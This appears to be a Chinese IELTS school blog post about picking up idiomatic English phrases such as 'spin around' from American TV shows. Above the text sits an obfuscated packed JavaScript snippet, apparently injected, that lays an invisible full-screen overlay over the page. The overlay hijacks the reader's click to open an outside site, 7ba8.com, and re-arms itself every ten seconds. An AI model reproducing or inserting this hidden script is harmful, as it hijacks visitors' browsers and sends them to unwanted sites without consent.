<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>看美剧，练口语
BY 夏南楠
, , …许多的美剧现在都变成了中国年轻人的闲暇消耗。说实话，美剧中的帅哥美女以及精彩的故事情节，是相当具有吸引力的。记得有一位学生跟我说，她用了一天的时间把《越狱》的第一季几乎全部看了个遍，期间主人公惊险的逃离剧情使她甚至连去洗手间吃饭都顾不上了。然而，使我最感到意外加惊喜的是，现在也开始有些同学利用美剧来练习自己的口语了。
“It spins me around! I got 6.5!” 记得有一位同学在临近结课的时候在班里大喊了一声。“难以置信！我竟然得了6.5！”这位同学显然在为他所考的雅思而兴奋着。“为…而兴奋”，这个简单的句型一般来说用excite 相关的单词来表达就好了，但这个同学用了一个貌似并不常见的”spin around”结构，一下子让人感觉与众不同。真相是，这个结构是一个很口语化的结构，表示某种东西让人难以置信的意思，而这位同学也恰好是在我的课堂上学来的。根据口语的评分标准，在词汇的使用上能在正确的基础上加入尽量地道的元素，对分数是有百益而无一害的。假设这位同学在口语里的适当时候用到了这个”spin around”，很明显他的分数增加又添了一个砝码。而这个”spin around”怎么来的呢？从美剧里学来的！曾经欣赏过一部相当不错的电影，里边儿的对白中，出现了这个结构，有意无意把他记下，然后又不时地拿来造造句子说说话，很自然地，这个东西就成了自己的了。走进“后高考”留学时代－环球雅思广州学校！020-28296729
看美剧，能学到的口语是很多很多的。学到一些地道的短语只是一个方面而已。同学不妨仔细想想，通过看美剧电影，还可以得到那些好东西？有兴趣的同学，也不妨为自己的口语词汇加加料：能猜出这些短语是什么意思吗？ Cut the Gordion Knot; Pull all-nighter; beat around the bush. |
收藏